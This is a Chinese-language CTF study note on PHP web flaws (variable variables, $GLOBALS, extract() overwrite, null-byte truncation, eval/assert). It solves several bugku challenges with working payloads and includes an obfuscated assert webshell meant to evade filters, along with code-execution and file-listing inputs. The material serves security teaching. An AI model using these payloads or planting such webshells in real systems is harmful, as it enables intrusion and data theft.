特殊的变量
可变变量
一个可变变量 “$$” 获取了一个普通变量的值后,用这个值作为这个可变变量的变量名。一个美元符号表示提取变量中的值,而 2 个连续的美元符号表示用某个变量的内容作为变量名,再来访问该变量。例如以下代码:
<?php
$a = "b";
$b = "c";
$c = "a";
echo $a; //输出 b
echo $$a; //输出 c
echo $$$a; //输出 a
?>
超全局变量
PHP 的 $ GLOBALS 是一个超全局变量,它引用全局作用域中可用的全部变量。变量时一个包含了全部变量的全局组合数组,变量的名字就是数组的键。有时候当 flag 隐藏在某个变量中时,可以考虑从 GLOBALS 中得到。
变量覆盖
extract() 函数从数组中将变量导入到当前的符号表。使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素将在当前符号表中创建对应的一个变量。extract() 函数也可以将 GET 传入的数据进行转换,例如:
<?php
$a = false;
extract($_GET);
if($flag)
{
echo "flag{}"
}
?>
此时变量 a 已经被定义了,但是在 extract() 函数转换 GET 方法传入的数据时,传入的 a 在转换时就会把原来的变量覆盖掉。
NULL 截断
PHP 是基于 C 语言实现的,因此 PHP 在底层使用了一些 C 语言的字符串处理函数。在遇到 NULL(x00) 字符时,处理函数会把该字符当做结束标记,这就可以在遍历结尾处去除不想要的字符。例如这段代码包含的文件名后面会被强行加上字符 'text.html',使得我们不能够直接包含文件。但是我们可以在文件名后面加个 % 00 字符来截断,这样后面的字符就会被忽略了。
$file = $_GET['file'];
include $flie.'text.html';
不过这个漏洞在新版本的 PHP 中已经被修好了,很少会用到。
eval() 函数和 assert
eval() 函数可以把把字符串当成 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。语法如下:
eval(phpcode); //phpcode 参数必需,规定要计算的 PHP 代码。
与之功能相似的是 assert 断言,assert 是个宏,不过为了好理解可以先把它当做和 eval() 函数一样的东西,即可以执行括号内的代码。
例题:bugku-变量 1
打开网页,可以直接看到源码。
flag In the variable ! <?php
error_reporting(0); // 关闭php错误显示
include "flag1.php"; // 引入 flag1.php 文件代码
highlight_file(__file__);
if(isset($_GET['args'])){ // 通过get方式传递 args变量才能执行if里面的代码
$args = $_GET['args'];
if(!preg_match("/^w+$/",$args)){ // 匹配任意大小写字母和 0 到 9 以及下划线组成
die("args error!");
}
eval("var_dump($$args);"); //var_dump() 函数用于输出变量的相关信息
}
?>
因为这里有个 preg_match() 函数,它会通过正则表达式匹配字符串,因此不能使用其他的漏洞。根据提示 flag 藏在一个变量之中,观察到代码中有“$$”的可变变量用法。
也就是说,此时不需要去猜测 flag 藏在那个变量中,因为知道了变量名,有了“$$”也不能直接访问。现在需要知道保存 flag 的变量是哪个变量的值,因为 var_dump() 函数可以输出变量,如果变量是个数组也可以,例如:
<?php
$args = array(1, 2, 3);
var_dump($args);
?>
则数组 args 中的内容都可以被输出来,因此该函数也能把 “$GLOBALS” 中的内容都输出来。因此我们只需要把 GLOBALS 传递过去就行,构造 payload:
?args=GLOBALS
例题:bugku-extract 变量覆盖
源码如下,flag 变量已经被定义了,如果用 GET 传入的变量中存在一个名叫 shiyan 的字符串,则将 flag 变量的值赋给 content 变量,如果变量 shiyan 和变量 content 的值相同就输出 flag 的值。
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
此时 flag 变量被赋值成什么值我们不得而知,所以现在的想法是把 flag 变量覆盖掉。由于 extract() 函数可以将所有 GET 方法传入的数据全部换成变量,因此可以在传入 shiyan 变量时也传入一个 flag 变量。构造 payload 提交到指定网页,提交获得 flag。
?shiyan=&flag=
例题:bugku-Web 8
源码如下,注意到代码中使用了 extract() 获取了系列参数,考虑使用变量覆盖的手法。根据对源码的分析,变量 f 的值来自于变量 fn 表示的文件,当变量 ac 等于变量 f 的值时输出 flag。注意这里的判断使用的是 “===”,而且变量 ac 不能为空。
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
根据提示 “txt????” 我们猜测可能还有某个 txt 文件能为我们所用,根据经验这个文件可能是 flag.txt。访问 flag.txt 文件,得到这个文件的内容是 “flags”。
接下来就可以解题了,我们可以覆盖变量 fn,fn 的值为 flag.txt,这样 f 变量的值经过 file_get_contents() 文件提取函数之后的值应该为 “flags”。接着我们让 ac 的值也为 “flags”,这样就同时满足 ac 不为空且等于变量 f 了。综上所述,构造 payload:
?ac=flags&fn=flag.txt
例题:bugku-本地包含
题目的源码如下,观察到代码将提取一个 REQUEST 变量,这个变量时 HTTP Request 变量,默认情况下包含了 GET、POST 和 COOKIE 的数组。
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval("var_dump($a);"); //var_dump() 函数可以输出变量的类型和值
show_source(__FILE__);
?>
除了利用 eval() 函数和使用 PHP 伪协议,还可以直接把 flag.php 导入到 hello 变量中直接显示出来。
hello=file("flag.php")
例题:bugku-过狗一句话
首先先认识下下 explode() 函数,函数可以使用一个字符串分割另一个字符串,并返回由字符串组成的数组。函数语法和参数如下:
explode(separator,string,limit)
参数 | 说明 |
---|---|
separator | 必需,规定在哪里分割字符串 |
string | 必需,要分割的字符串 |
limit | 可选,规定所返回的数组元素的数目 |
例如以下代码:
$str = 'one,two,three,four';
print_r(explode(',',$str));
输出的结果为:
Array
(
[0] => one
[1] => two
[2] => three
[3] => four
)
源码如下,观察到有一个 explode() 函数,也就是说字符串 poc 将会被切割为一个数组。
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#",$poc);
$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
此处稍微有点不好理解,变量 poc_2 是由 5 个字符拼接成的字符串 “assert”。此时注意看最后一行的写法,“$” 符号提取 poc_2 中的值,后面接上代码等同于使用了 assert 函数。
assert($_GET['s'])
注意这里括号内的代码是用 GET 方法传入的变量 s 中的内容,也就是说我们可以将一段代码赋给 s 来执行。我们怀疑 flag 藏在网页目录下的一个文件中,因此可以使用 scandir() 函数来获取目录下的所有文件,然后带上输出函数看看。
?s=print_r(scandir('./'))
这里可以看到 flag 所在的文件了,访问之后获得。